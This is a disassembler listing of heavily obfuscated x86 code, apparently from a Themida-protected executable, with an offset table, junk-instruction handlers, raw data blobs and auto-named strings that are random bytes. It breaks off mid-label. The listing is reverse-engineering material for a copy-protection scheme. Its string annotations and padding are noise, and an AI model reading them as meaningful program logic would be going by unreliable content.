byte_54AFBB dd offset word_54A0F6 dd offset word_54874A dd offset word_550B5A dd offset byte_550A07 dd offset byte_55150B dd offset byte_54749F dd offset word_54F092 dd offset aMssj8 ; "╛SИJ8" dd offset word_54E0A2 dd offset word_551132 dd offset dword_547C1C dd offset byte_54B8D5 dd offset byte_547D39 dd offset dword_552038 dd offset word_54C6F2 dd offset dword_54F4B8 dd offset word_54B762 dd offset byte_548907 dd offset dword_548DB0 dd offset dword_548F30 dd offset word_54D20A dd offset dword_546790 dd offset word_54CC96 dd offset byte_54987B dd offset word_54A2F6 dd offset byte_54A5B1 dd offset dword_54D854 dd offset dword_5510EC dd offset byte_548B77 dd offset dword_54AAF8 dd offset dword_54B978 dd offset dword_547DC4 dd offset word_54E10E dd offset dword_54E2E4 dd offset dword_551530 dd offset word_54689E dd offset dword_549AB8 dd offset word_54AE86 dd offset byte_551267 dd offset byte_548BFD dd offset word_547146 dd offset aHr ; "hЮ~" dd offset dword_54E9DC dd offset dword_54D54C dd offset word_54D846 dd offset aM0Fsski ; "╛0ьfSИkI" dd offset dword_55262C dd offset byte_546C73 dd offset word_55075A dd offset byte_5508A5 dd offset byte_5476C9 dd offset byte_5509D5 dd offset word_54C862 dd offset byte_54CA0D dd offset byte_551615 dd offset byte_5497FF dd offset byte_5523DF dd offset byte_5501B5 dd offset word_5499CA dd offset word_54A586 dd offset byte_54F837 dd offset word_54E316 dd offset word_54E2FE dd offset byte_549D6B dd offset word_55145A dd offset word_5467EA dd offset byte_548955 dd offset word_54F11E dd offset byte_54D2F3 dd offset word_54EEAA dd offset dword_54AB14 dd offset byte_54CB99 dd offset dword_54B17C dd offset byte_54910F dd offset byte_5504B7 dd offset dword_549588 dd offset word_5503FE dd offset byte_5472B3 dd offset byte_548995 dd offset dword_5489C0 dd offset word_54D2DE dd offset dword_54ACEC dd offset dword_54EAF4 dd offset dword_551AC4 dd offset dword_54B8AC dd offset word_54C78A dd offset dword_54EED0 dd offset dword_5487B8 dd offset aNrss ; "╜RИХ\v" dd offset aM0FrSsw6 ; "╛0ьfR╤≤ИW6" dd offset aNvsR ; "╜VИ\\R" dd offset byte_549255 dd offset dword_54F770 dd offset byte_54FD1D dd offset byte_547A7B dd offset byte_548801 dd offset aUh9g ; "Uh9G" dd offset dword_550C08 dd offset byte_54DC1B dd offset byte_5482D1 dd offset dword_5500BC dd offset word_54CF16 dd offset byte_54BE85 dd offset byte_547131 dd offset dword_5478B0 dd offset word_549942 dd offset dword_549B4C dd offset byte_54D403 dd offset byte_547905 dd offset dword_54DAD0 dd offset byte_54FE45 dd offset byte_551051 dd offset dword_54B094 dd offset byte_54BD55 dd offset byte_54A4D1 dd offset dword_54EF54 dd offset aMs ; "╛И~," dd offset byte_54879D dd offset word_54FF56 dd offset byte_549EA9 dd offset dword_549788 dd offset word_54F0F2 dd offset dword_548FFC dd offset byte_54AE29 dd offset aMhtl ; "╛h▓L" dd offset word_54C2E2 dd offset dword_550438 dd offset dword_551860 dd offset word_548F92 dd offset byte_550545 dd offset dword_550B7C dd offset dword_546618 dd offset byte_546CBD dd offset byte_551333 dd offset dword_54C94C dd offset dword_550E34 dd offset word_54CA92 dd offset aN1Sscr ; "╜1ьSИ√R" dd offset dword_552194 dd offset byte_546EF5 dd offset byte_54DB31 dd offset byte_54DD77 dd offset byte_54821F dd offset byte_54BDC1 dd offset byte_5513C7 dd offset dword_5471D8 dd offset aNvqwhECsJ ; "╜VQWhЛe╤cИ\aj" dd offset byte_54CCA9 dd offset dword_550290 dd offset dword_547708 dd offset word_551F32 dd offset aM0Rhag ; "╛0ьRh²G" dd offset byte_54EA0F dd offset word_5498EA dd offset aMqspq ; "╛QИpq" dd offset word_55179E ; --------------------------------------------------------------------------- loc_5464A4: ; CODE XREF: Themida_:00595E41j ; Themida_:005A05E1j ... pusha pushf cld call $+5 pop edi sub edi, 9357EDEh mov eax, edi add edi, 9357BF6h cmp eax, [edi+2Ch] jnz short loc_5464C2 jmp short loc_5464D5 ; --------------------------------------------------------------------------- loc_5464C2: ; CODE XREF: Themida_:005464BEj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5464D1 ; --------------------------------------------------------------------------- loc_5464CC: ; CODE XREF: Themida_:005464D3j add [edi+ecx*4+40h], eax dec ecx loc_5464D1: ; CODE XREF: Themida_:005464CAj or ecx, ecx jnz short loc_5464CC loc_5464D5: ; CODE XREF: Themida_:005464C0j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5464E2: ; CODE XREF: Themida_:005464E9j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5464E2 loc_5464EB: ; CODE XREF: Themida_:loc_546763j ; Themida_:00546AE6j ... lodsb jmp loc_5487A6 ; --------------------------------------------------------------------------- loc_5464F1: ; CODE XREF: Themida_:00548D89j push 15E6h mov [esp], ebx mov bh, 0BAh neg bh inc bh neg bh and bh, 0FBh sub bh, 81h add bh, 57h add al, bh mov ebx, [esp] add esp, 4 sub al, 0CAh sub al, bl add al, 0CAh push ecx mov ch, 32h shl ch, 6 jmp loc_551207 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 57000000h, 4BFh, 8BFE0100h, 6EE9243Ch, 8900004Ch dd 0D0882404h, 88C18851h, 8734E9CFh, 0E9590000h, 63A5h dd 0A4A7E95Bh, 0EA880000h, 595AD388h, 0E943C380h, 2663h dd 4EC81h, 4890000h, 4B824h, 0ED810000h, 46343034h, 9BE9C501h dd 490000AEh, 0BB73BD55h, 0E93149CFh, 983FE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546592: ; CODE XREF: Themida_:0055152Bj inc edx jmp loc_549D0B ; --------------------------------------------------------------------------- dd 4C48358h, 0BE01E9h db 0 ; --------------------------------------------------------------------------- loc_5465A1: ; CODE XREF: Themida_:005508A0j or esi, 5AC73546h add esi, 0EE3506B6h sub ebx, esi pop esi neg ebx jmp loc_54860F ; --------------------------------------------------------------------------- aTsio db '(БИ╘╝',0 align 2 dw 0C681h dd 1, 51C0EE81h, 8156EC40h, 5CA32434h, 8CE95D06h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5465D7: ; CODE XREF: Themida_:00548AE1j inc edi xor edi, 59901F2Dh jmp loc_5468AE ; --------------------------------------------------------------------------- db 66h dd 66242C87h, 83243C8Bh, 316602C4h, 0E2E9243Ch, 0F700007Eh dd 0C4C781DFh, 16D3E59h, 0C5835FFDh, 242C3304h, 0C0B0E9h dd 0F1315900h, 0E9D9F75Eh, 9842h dword_546618 dd 0B60F6664h, 62686602h, 489661Bh, 0FEC1E924h ; DATA XREF: Themida_:00546440o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54662A: ; CODE XREF: Themida_:00549FD2j pop esp mov [esp], ecx mov ecx, 4D15ECDh shl ecx, 2 sub ecx, 3A803FABh push ecx not dword ptr [esp] jmp loc_54E849 ; --------------------------------------------------------------------------- loc_546645: ; CODE XREF: Themida_:0054FA03j add ebx, 224C0087h pop edx or edi, ebx pop ebx jmp loc_54D221 ; --------------------------------------------------------------------------- loc_546654: ; CODE XREF: Themida_:00546779j push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_551EA2 ; --------------------------------------------------------------------------- dw 665Ch dd 3CFDE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546676: ; CODE XREF: Themida_:0055123Fj mov cl, 56h neg cl sub cl, 88h sub cl, 98h not cl neg cl add cl, 0FAh mov dh, cl pop ecx push eax mov al, 82h neg al not al jmp loc_54989E ; --------------------------------------------------------------------------- loc_546696: ; CODE XREF: Themida_:005487AAj add al, bl add al, 3Ch push bx jmp loc_548D87 ; --------------------------------------------------------------------------- loc_5466A1: ; CODE XREF: Themida_:00551EA8j push 41D0h mov [esp], eax jmp loc_547E12 ; --------------------------------------------------------------------------- loc_5466AE: ; CODE XREF: Themida_:0054C61Dj add ecx, eax jmp loc_5476D6 ; --------------------------------------------------------------------------- db 0BEh, 0C9h, 29h dd 0F0311863h, 26E42D5Eh, 12D38AFh, 52000000h, 0BB5670BAh dd 3AF28163h, 0E9355C7Dh, 0EB6h, 57240C8Bh, 0B850E789h dd 65552183h, 28B8BF57h, 0F8016761h, 701BE9h, 7E8C100h dd 2D05E8C1h, 7B5FBFD3h, 0CAE9C629h, 89000083h, 242C8BE8h dd 104C483h, 24048BC6h, 6804C483h, 2D9h, 77ABE9h db 0 ; --------------------------------------------------------------------------- loc_54671D: ; CODE XREF: Themida_:0054EEA5j add eax, edi add eax, 5D152ACFh jmp loc_54BB1D ; --------------------------------------------------------------------------- loc_546729: ; CODE XREF: Themida_:0054D9E3j push ecx push 0B4A09F4h pop ecx xor edx, ecx mov ecx, [esp] add esp, 4 push edx add dword ptr [esp], 2BFC0A77h mov ecx, [esp] add esp, 4 sub ecx, 2BFC0A77h pop edx jmp loc_547A43 ; --------------------------------------------------------------------------- loc_546758: ; CODE XREF: Themida_:0054CB6Aj add esp, 4 shr ebp, 5 jmp loc_54D778 ; --------------------------------------------------------------------------- loc_546763: ; CODE XREF: Themida_:00550AAFj jmp loc_5464EB ; --------------------------------------------------------------------------- loc_546768: ; CODE XREF: Themida_:005527E4j pop esi add esi, 4 push edx mov edx, 4 add esi, edx pop edx push esi jmp loc_546654 ; --------------------------------------------------------------------------- dw 34FFh aSN db '$Ип█',0 align 2 dw 1768h dd 0E900000Ah, 9B63h dword_546790 dd 14E953ACh ; DATA XREF: Themida_:00546288o db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546797: ; CODE XREF: Themida_:00548AACj push ebx push ebp mov ebp, 29986C78h mov ebx, ebp mov ebp, [esp] add esp, 4 add edi, ebx pop ebx push edi pop eax mov edi, [esp] add esp, 4 add eax, edx sub esp, 4 mov [esp], ecx mov ecx, 0 mov [eax], ecx pop ecx pop eax push 3565h mov [esp], ebp push esi push 410722F4h pop esi jmp loc_547642 ; --------------------------------------------------------------------------- db 81h, 0F3h, 93h aOfybi1nhsI db 'oДy│К╥1█HИйi',0 align 2 word_5467EA dw 77FFh ; DATA XREF: Themida_:00546338o dd 59669D1Ch, 9C241CD3h, 0FFFCF2E9h, 4C283FFh, 0B92CE9h db 0 ; --------------------------------------------------------------------------- loc_546801: ; CODE XREF: Themida_:0054AEFAj pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push 5D12h mov [esp], esi push esp jmp loc_547D75 ; --------------------------------------------------------------------------- dw 0B252h dd 5AD500F1h, 2EC81h, 89660000h, 0CDB62414h, 5A66F500h dd 0B761E9h, 5FE68100h, 0C105D717h, 0BD5508E6h, 7CA539F0h dd 4DDDF74Dh, 0D7F2F581h, 0EE01D3B3h, 0B8EE815Dh, 5036810Bh dd 78F8B951h, 57E96D5Fh, 59000057h, 5CA3F181h, 0E95E5D06h dd 7069h ; --------------------------------------------------------------------------- loc_546870: ; CODE XREF: Themida_:0054B268j pop esp shr ebp, 3 or ebp, 0B045D81h push edi jmp loc_54B587 ; --------------------------------------------------------------------------- loc_546880: ; CODE XREF: Themida_:00547E18j sub dword ptr [esp+8], 5FE667FAh sub [esp+8], eax jmp loc_549077 ; --------------------------------------------------------------------------- db 89h, 14h, 24h aPiqsvy db '╨вP┬QИVY',0 align 2 word_54689E dw 77FFh ; DATA XREF: Themida_:005462C0o dd 59669D1Ch, 241CD366h, 0FC3DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5468AE: ; CODE XREF: Themida_:005465DEj add [esp+4], edi push dword ptr [esp] pop edi add esp, 4 pop ecx jmp loc_54C0BD ; --------------------------------------------------------------------------- loc_5468BF: ; CODE XREF: Themida_:0054AB7Cj sub edx, 7F26101Ah jmp loc_54F023 ; --------------------------------------------------------------------------- aVsix db 'VИК∙',0 align 10h dd 96E4F781h, 0FB0109C7h, 4D0BE9h db 0 ; --------------------------------------------------------------------------- loc_5468DD: ; CODE XREF: Themida_:0054FE38j mov edi, 57E72DA6h neg edi sub edi, 365D52D8h add edi, 8E448082h sub ebp, 244E49D1h add ebp, edi add ebp, 244E49D1h jmp loc_552382 ; --------------------------------------------------------------------------- db 1 dd 2434FFD1h, 3752E95Ah, 0EC830000h, 240C8904h, 0E98076B1h dd 0CC88508Ah, 1088E9h, 0C1815900h, 4, 5562B850h, 0E4E967F1h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546933: ; CODE XREF: Themida_:0054FB96j push esi mov esi, 6C9CDFE6h sub ebx, esi jmp loc_54B083 ; --------------------------------------------------------------------------- dd 0C8E9F789h, 0B80000A4h, 4, 0E958C129h, 957h, 2474FF55h dd 242C8B04h, 815E5456h, 4C6h, 4C68300h, 5C243487h, 8B24048Fh dd 31662424h, 0E99C2404h, 0FFFFFB6Fh, 33243431h, 665C2434h dd 9C240CFFh, 7D9AE9h, 0D4BF5700h, 475C0967h, 7EFC14Fh dd 0F30AC781h, 36E93BB4h db 0A1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5469A3: ; CODE XREF: Themida_:0054FF19j or eax, ecx pop ecx push edi jmp loc_5488E8 ; --------------------------------------------------------------------------- dd 0D405D829h, 0E97F912Ah, 3912h aUh9g db 'Uh9G',0 ; DATA XREF: Themida_:005463B4o align 2 dw 0CEE9h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5469C3: ; CODE XREF: Themida_:00551DCAj mov edx, 52FF637Bh add edx, 665D4BD0h neg edx push ebp mov ebp, 26BD7ECAh and edx, ebp jmp loc_54951A ; --------------------------------------------------------------------------- dd offset dword_5A0468 align 2 dw 1C89h dd 88E78824h, 12E95BFEh, 83000094h, 586604C4h, 5B66D830h dd 252768h, 240C8900h, 77EE68h, 241C8900h, 0E95059B7h dd 0ADFAh, 5C241487h, 0AC91E9h db 0 ; --------------------------------------------------------------------------- loc_546A19: ; CODE XREF: Themida_:00551202j xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5516E3 ; --------------------------------------------------------------------------- db 29h dd 0C60158C6h, 0CE3BF57h, 0E7C175A3h, 81D7F703h, 616F7FE7h dd 7FF78118h, 0E91BC054h, 222Ch, 85BC581h, 0B95128FFh dd 5A4326A8h, 3818F181h, 0BB536857h, 0 dd 55CFC381h, 0CB295687h, 55CFEB81h, 0D9895687h, 81241C8Bh dd 4C4h, 5EE18100h, 0C1424A7Bh, 0DDE903E1h, 56000044h dd 72B7E9h, 23E82D00h, 3C053266h, 8187A858h, 42170C7h dd 3BB9E938h, 0ED810000h, 0BAD4682h, 4E866858h, 2C890000h dd 2474FF24h, 48F5D04h, 24248B24h, 24040166h, 0FA25E99Ch dd 0C181FFFFh, 418E2F43h, 171BBB53h, 0E3C12188h, 4E3C105h dd 6310F381h, 0C8E9FADEh db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546AE3: ; CODE XREF: Themida_:0054BBBFj mov [esp], ecx jmp loc_5464EB ; --------------------------------------------------------------------------- aZS9 db 'Z)кИ',7,'9',0 dw 8000h dd 0C4809FE4h, 58E58831h, 0F6D3C580h, 92C580D5h, 0B1EB80h dd 0B1C380EBh, 0C2B55159h, 8006EDC0h, 0EB0081EDh, 5F69E9h dd 9C506600h, 0FFF9C6E9h, 60FE68FFh, 0CEE90000h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B2F: ; CODE XREF: Themida_:0054B9B5j push 7E772769h jmp loc_549E07 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0C92D0000h, 5206DD3Ch, 9458AFBAh, 43B1E956h, 24890000h dd 4B95124h, 1000000h, 8B04244Ch, 8950240Ch, 405E0h, 0C0830000h dd 24048704h, 0BBE5E95Ch, 89530000h, 4EC83E3h, 96EAE9h db 0 ; --------------------------------------------------------------------------- loc_546B7D: ; CODE XREF: Themida_:00548FC4j and eax, edx jmp loc_54B62F ; --------------------------------------------------------------------------- dd 5066CDFEh, 0E52009B4h, 0ED805866h, 0E9EA3014h, 1356h dd 5AF96857h, 815F23A8h, 550656C7h, 1C60E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546BAA: ; CODE XREF: Themida_:0054F212j sub esp, 4 mov [esp], edi jmp loc_54E256 ; --------------------------------------------------------------------------- dd 8704E883h, 895C2404h, 0D1E92424h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BC7: ; CODE XREF: Themida_:005471D3j push 4820h mov [esp], ebp mov ebp, 1 add esi, ebp jmp loc_54A325 ; --------------------------------------------------------------------------- db 89h dd 21B7241Ch, 9DB15152h, 0F6E95CB2h, 0BA0000B2h, 0E3B2Bh dd 69E5F281h, 0D00151D0h, 49F9E9h db 0 ; --------------------------------------------------------------------------- loc_546BFD: ; CODE XREF: Themida_:0054E26Cj pop ebx jmp loc_54F0D3 ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 8704EA83h, 895C2414h, 58542404h, 405h dd 6AFD6800h, 3C890000h, 4EC8124h, 89000000h, 72E92414h dd 89000096h, 4832424h, 815B0424h, 4C3h, 4BF5700h, 1000000h dd 1C875FFBh, 24248B24h, 0FFFD57E9h, 2434FFFFh, 1586E9h dd 0E95B6600h, 0B28Ch ; --------------------------------------------------------------------------- loc_546C64: ; CODE XREF: Themida_:00548A7Bj xor eax, ebx xor ebx, eax jmp loc_54FFAB ; --------------------------------------------------------------------------- loc_546C6D: ; CODE XREF: Themida_:0054BE9Dj push ebx jmp loc_54ED5B ; --------------------------------------------------------------------------- byte_546C73 db 0FFh ; DATA XREF: Themida_:005462F0o dd 0E9582434h, 0FFFFF8AAh, 4343E943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546C82: ; CODE XREF: Themida_:0054D23Bj add ecx, edi jmp loc_54AA42 ; --------------------------------------------------------------------------- loc_546C89: ; CODE XREF: Themida_:0054D5B7j jz loc_54A5EF push eax sub esp, 4 mov [esp], ebx mov ebx, 14D03B2Eh mov eax, ebx jmp loc_54FF0A ; --------------------------------------------------------------------------- loc_546CA2: ; CODE XREF: Themida_:00549CDBj push eax jmp loc_54DC9C ; --------------------------------------------------------------------------- dd 8005C280h, 7AE9D9C2h, 6600008Dh, 22474FFh, 2259E9h db 0 byte_546CBD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546444o aHi5 db '$h⌡5',0 align 2 dw 3489h dd 815E5424h, 4C6h, 0E9525100h, 0FFFFFCB5h ; --------------------------------------------------------------------------- loc_546CD8: ; CODE XREF: Themida_:005483FDj sub esi, 4 xchg esi, [esp] jmp loc_5490FE ; --------------------------------------------------------------------------- aRhK2zsfc db 'Rh[k^2ZИf≈',0 align 2 loc_546CF2: ; CODE XREF: Themida_:0054C92Cj add ebx, 4 jmp loc_550C13 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 2C48324h, 0C8BEF88h, 4C48124h, 83000000h, 896602ECh dd 1B5240Ch, 472AE9h, 24048900h, 4EBE5652h, 0BA57AC72h dd 5B53C252h, 315EF229h, 5A042454h, 80BE5658h, 5551F054h dd 1A5CECBDh, 5DEE2979h, 0E8EE681h, 0C68122A3h, 4E05DB4h dd 6B2768h, 242C8900h, 2E46E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 2E1D5CC6h inc ecx jmp loc_54C611 ; --------------------------------------------------------------------------- aZssq db 'ZИА÷',0 align 4 dd 8007E2C0h, 0D030E2C2h, 8124148Bh, 4C4h, 2A57E900h, 0E95E0000h dd 61DBh ; --------------------------------------------------------------------------- loc_546DA0: ; CODE XREF: Themida_:0054E234j add ecx, 4 jmp loc_54B26D ; --------------------------------------------------------------------------- aFsFSL db 'fSЁд',8,'ьf[И&╚',0 align 4 dd 2D24F905h, 4875D74h, 24248B24h, 24148966h, 63B75350h dd 7AAEE9h, 0E9C15C00h, 0A064E907h, 4890000h, 4B824h, 0C3890000h dd 8BDE0158h, 0C481241Ch, 4, 2474FF56h, 48F5E04h, 0EC835C24h dd 85BEE904h, 0EFC10000h, 6E7C102h, 803B850h, 0D8F7569Bh dd 0DB2EB625h, 23E73574h, 0D3545E1h, 29FCE8CAh, 0EF8158C7h dd 47D37D12h, 2D09E9h, 242C8900h, 77FCBA52h, 0BE5647DFh dd 713E7268h, 5DFF70BDh, 9AB4E9C4h, 0CE810000h, 7A717D02h dd 0FF3CF681h, 0F701FBF5h, 8124348Bh, 4C4h, 243C8700h dd 0AE95E9h, 81E78900h, 4C7h, 4C78100h, 87000000h, 515C243Ch dd 34FEE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546E7E: ; CODE XREF: Themida_:0054AE73j xor ebp, eax pop eax and ebp, 20DC1520h xor ebp, 4E655655h add eax, ebp jmp loc_548CE8 ; --------------------------------------------------------------------------- loc_546E94: ; CODE XREF: Themida_:0054CCA4j pop edi pop dword ptr [esp] jmp loc_54DB5C ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0BB530000h, 132413h, 10EB8143h, 0E9001324h, 1CF8h, 3506E8C1h dd 58910DB4h, 290DE9h, 6A685600h, 0E900001Ah, 0AFC2h ; --------------------------------------------------------------------------- loc_546ECC: ; CODE XREF: Themida_:00549176j sub [edi+24h], ebp push dword ptr [esp] push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 jmp loc_54937B ; --------------------------------------------------------------------------- dd 0CBE97F04h, 89000008h, 0E6892434h, 57E9E9h db 0 byte_546EF5 db 8Fh, 47h, 40h ; DATA XREF: Themida_:00546460o dd 0FFF5EEE9h, 242489FFh, 4240483h, 81241C8Bh, 4C4h, 4C38100h dd 81000000h, 4ECh, 240C8900h, 4193E9h, 4EC8100h, 89000000h dd 4BA2414h, 0E9000000h, 0F77h dword_546F34 dd 24048B66h, 34FF5455h, 0C4835D24h, 0A4B95104h, 0C1197B6Eh ; DATA XREF: Themida_:0054621Co dd 0E94107E9h, 5F72h ; --------------------------------------------------------------------------- loc_546F50: ; CODE XREF: Themida_:00551A95j mov [esp], esi push esp pop esi push eax push ebp mov ebp, 6C4F4934h mov eax, 6C4F4938h sub eax, ebp jmp loc_548DFB ; --------------------------------------------------------------------------- dd 8103E1C1h, 7602C3C9h, 0D3E95521h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546F77: ; CODE XREF: Themida_:0054CC5Cj mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push ebx jmp loc_54B952 ; --------------------------------------------------------------------------- loc_546F8B: ; CODE XREF: Themida_:0054D381j add esp, 4 mov ecx, [esp] jmp loc_5486FD ; --------------------------------------------------------------------------- aS_5 db ')бИ╦:',0 dd 58C28900h, 10F3EA81h, 0C28106FFh, 22241881h, 7B66E9h dd 2474FF00h, 243C8B04h, 8731E9h, 0D3DEB800h, 0B7E9DC97h dd 5500000Bh, 0FC4744BDh, 3E5C142h, 0C5E4C581h, 0E4E9E81Dh dd 0C10000A2h, 0B95105EFh, 731B3E64h, 0D45E9h db 0 ; --------------------------------------------------------------------------- loc_546FE9: ; CODE XREF: Themida_:005495F5j xchg ebp, [esp] jmp loc_551C08 ; --------------------------------------------------------------------------- db 31h, 0C3h, 66h dd 8124148Bh, 4ECh, 240C8900h, 0B51FE9h, 2E0C000h, 0D0F6FF04h dd 1BE94F2Ch, 80000098h, 0FC880EEFh, 5BFC005Bh, 0E9FFC480h dd 6935h, 3A1368h, 242C8900h, 77E95D54h, 1000062h, 0FA295FFAh dd 7F16EA81h, 3C8B58FDh, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 627EEA81h, 0EA816417h, 575C7004h, 0B1A1E9h db 0 ; --------------------------------------------------------------------------- loc_547065: ; CODE XREF: Themida_:00550EAAj mov ebx, [esp] add esp, 4 mov edx, esi pop esi jmp loc_548868 ; --------------------------------------------------------------------------- dw 0E95Ch dd 8002h, 3191C381h, 34FF5B8Dh, 0C4815A24h, 4, 2C381h dd 0FF530000h, 0E9042474h, 1A15h ; --------------------------------------------------------------------------- loc_54709C: ; CODE XREF: Themida_:00549200j xchg edx, [esp] not edx xchg edx, [esp] jmp loc_54C9ED ; --------------------------------------------------------------------------- db 0B8h, 0C4h, 15h dd 8BE93618h, 5D0000B4h, 0EB81EB01h, 304532A2h, 0E92434FFh dd 897Dh ; --------------------------------------------------------------------------- loc_5470C4: ; CODE XREF: Themida_:0054C0B8j push 2C38h mov [esp], esi push 3449h mov [esp], eax push 342Bh mov [esp], ebp jmp loc_54F04C ; --------------------------------------------------------------------------- db 29h, 0F2h, 5Eh dd 95ABF57h, 0FA3148CAh, 5717E9h, 34FF5B00h, 0C4815D24h dd 4, 0F3E9E9C3h, 0E2B6FFFFh, 148BF028h, 0E7895724h, 4C781h dd 0C7830000h, 243C8704h, 53665A5Ch, 4EC81h, 14890000h dd 6856B224h, 65CBh, 0FFF40EE9h db 0FFh byte_547131 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005463D0o dd 0D259669Dh, 0E99C2414h, 0FFFFF3ABh aMs db '╛И~,',0 ; DATA XREF: Themida_:00546404o align 2 word_547146 dw 77FFh ; DATA XREF: Themida_:005462D4o dd 19589D1Ch, 0E99C2404h, 0FFFFF397h ; --------------------------------------------------------------------------- loc_547154: ; CODE XREF: Themida_:0054A16Bj pop eax add esp, 4 push ebx push 18D0h mov [esp], esi push 6D0A7A95h push dword ptr [esp] mov esi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esi, 2D393F9Dh add esi, 65BC460Eh mov ebx, esi pop esi and ecx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_54CD1F ; --------------------------------------------------------------------------- loc_5471AB: ; CODE XREF: Themida_:005504F6j sub edx, ebp pop ebp shr edx, 8 add edx, 0FFFFFFFFh sub edx, 0C4E87F88h mov ebx, edx pop edx push ebx xor dword ptr [esp], 722D3C9Eh pop esi xor esi, 722D3C9Eh pop ebx shr esi, 4 jmp loc_546BC7 ; --------------------------------------------------------------------------- dword_5471D8 dd 24048B66h, 48D068h, 242C8900h, 0E953E589h, 60DBh ; DATA XREF: Themida_:00546478o ; --------------------------------------------------------------------------- loc_5471EC: ; CODE XREF: Themida_:0054BF3Dj pop edx add edx, 4 jmp loc_550516 ; --------------------------------------------------------------------------- dd 815AD129h, 0EE331EE1h, 0E9E9D14Eh, 69ADh, 0EEF5814Dh dd 0E9554325h, 3A17h, 5324248Bh, 4EC8351h, 88241489h, 0F78853C6h dd 1C8BF988h, 4C48324h, 5A2434FFh, 5004C483h, 3F1FE9h dd 0EC815100h, 4, 0B3241C89h, 5BDD88B2h, 0EA885266h, 0D588D2F6h dd 24148B66h, 8758E9h, 242C8900h, 0C5815D54h, 4, 5490E951h dd 0E2890000h, 4C281h, 11E90000h, 0B9000088h, 6E9E4287h dd 0C103E9C1h, 3FE908E9h, 57FFFFF8h, 185C5BBFh, 7E7C164h dd 782DE9h, 0E9FB0400h, 0B11Dh ; --------------------------------------------------------------------------- loc_54729C: ; CODE XREF: Themida_:0054B2E4j push ecx mov ecx, ebx push ecx push esi mov esi, 33967CA6h jmp loc_54A948 ; --------------------------------------------------------------------------- db 33h dd 1CE9240Ch db 0Dh, 2 dup(0) byte_5472B3 db 0FFh ; DATA XREF: Themida_:00546368o dd 34FF3C77h, 24048B24h, 4C481h, 89560000h, 1E3AE9E6h dd 4890000h, 3C7BB824h, 0BD5578D7h, 78D73C7Fh, 2C8BE831h dd 4C48124h, 1000000h, 0BE5658C5h, 4E8114C8h, 0EFFF681h dd 0E6C11A3Dh, 6873E908h, 0BF570000h, 27C1E564h, 6C3BC681h dd 0E9532B79h, 9341h, 0EA477BBAh, 52424A56h, 5A2414F7h dd 486DBD55h, 0EA01B013h, 226AE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547326: ; CODE XREF: Themida_:00548AF2j and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_5488DF ; --------------------------------------------------------------------------- db 0BDh, 0C3h, 2Eh dd 0E9092084h, 6E1C15Dh, 5653D9F7h, 72237CBEh, 6459E927h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547352: ; CODE XREF: Themida_:0055030Cj push 7257h jmp loc_547497 ; --------------------------------------------------------------------------- aLSU db '▀$$ИмU',0 align 4 loc_547364: ; CODE XREF: Themida_:0054F6D7j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp jmp loc_5514F3 ; --------------------------------------------------------------------------- dd 1173CF81h, 0C7813D0Ah, 693E7A60h, 7DA5C781h, 0F9891FBEh dd 449EE9h db 0 ; --------------------------------------------------------------------------- loc_547395: ; CODE XREF: Themida_:0054A6D3j or esi, 5AA60D0Ch xor esi, 8BF4BDDDh xor eax, esi pop esi push eax not dword ptr [esp] pop eax push edx mov edx, 0FAC9FB14h add eax, edx pop edx push ecx mov ecx, eax mov edx, ecx pop ecx pop eax and ecx, edx push dword ptr [esp] jmp loc_5524E8 ; --------------------------------------------------------------------------- aMqspq db '╛QИpq',0 ; DATA XREF: Themida_:0054649Co align 2 aHr db 'hЮ~',0 ; DATA XREF: Themida_:005462D8o dw 8900h dd 168242Ch, 8B000000h, 0C483242Ch, 1C6F0904h, 5D2434FFh dd 5E08950h, 4, 4B951h, 0E8E90000h, 87000069h, 0C6E949E9h dd 8100005Ch, 8F4B7EEEh, 2AEE81A2h, 0F7690639h, 7EEC1DEh dd 53BBE681h, 0EE814A6Fh, 89C7E740h, 315EF389h, 0C8315BD9h dd 82CDE9h, 245C0100h, 0E95E5B04h, 35CAh ; --------------------------------------------------------------------------- loc_547434: ; 